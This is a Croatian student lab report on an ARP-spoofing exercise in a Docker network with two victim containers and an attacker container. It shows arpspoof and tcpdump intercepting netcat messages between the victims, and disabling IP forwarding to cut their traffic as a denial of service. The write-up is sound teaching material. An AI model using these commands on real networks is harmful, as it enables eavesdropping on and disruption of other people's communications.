SIGURNOST RAČUNALA I PODATAKA

Laboratorijske vježbe 1: Man-in-the-middle attack (ARP spoofing)

U okviru vježbe upoznali smo se s osnovnim sigurnosnim prijetnjama i ranjivostima u računalnim mrežama. Analizirali smo ranjivost **Address Resolution Protocol-a (ARP)** koja napadaču omogućava izvođenje **man in the middle (MitM)** i **denial of service (DoS)** napada na računala koja su dio iste lokalne mreže (LAN-a).

Za realizaciju ova dva napada koristili smo virtualiziranu **Docker** mrežu **(Docker container networking)** koja se sastojala od 3 virtualizirana Docker računala (conteinera) tj. dvije žrtve **station-1** i **station-2** te napadač **evil-station.**

Pokrenili smo **Windows terminal** aplikaciju te u istoj otvorili Ubuntu terminal na WSL sustavu. U odgovarajužem direktoriju, na koji smo se spojili prema uputama profesora, klonirali smo zadani GitHub repozitorij sljedećom naredbom:

```
git clone https://github.com/mcagalj/SRP-2022-23
```

Unutar kloniranog repozitorija, spojili smo se u arp-spoofing direktorij unutar kojega su se nalazile dvije bash skripte: **start.sh** i **stop.sh** koje se koriste za pokretanje (start.sh) ili za zaustavljanje (stop.sh) virtualnog mrežnog scenarija.

Podijelili smo Windows Terminal na 2 dijela (2 terminala) za oba računala žrtve: station-1 i station-2, te smo ih povezali na način da smo prvo station-1 postavili za server na portu 8100 pomoću naredbe:

```
netcat -l -p 8100
```

Zatim smo station-2 postavili kao client koji je spojen na station-1. Koristili smo naredbu:

```
netcat station-1 8100
```

Da bi izvršili napad bilo je potrebno otvoriti i 3. Windows terminal za evil-station.

Nakon toga smo izvršili man in the middle napad pomoću naredbi:

`arpspoof` - preusmjeravanje paketa na LAN mreži

`tcpdump` - dump traffic-a na mrežu

Poruke između station-1 i station-2 bile su poslane preko evil-station koji je mogao pročitati sadržaj poslanih poruka pomoću naredbi:

```
arpspoof -t station-1 station-2
```

```
tcpdump
```

Nakon toga smo u potpunosti smo prekinuli prijenos poruka između station-1 i station-2, tj izvršili smo denial of service napad. Za to smo koristili sljedeće naredbe:

```
echo 0 > /proc/sys/net/ipv4/ip_forward
```

Kako bismo omogućili ponovnu komunikaciju između station-1 i station-2 koristimo naredbu:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```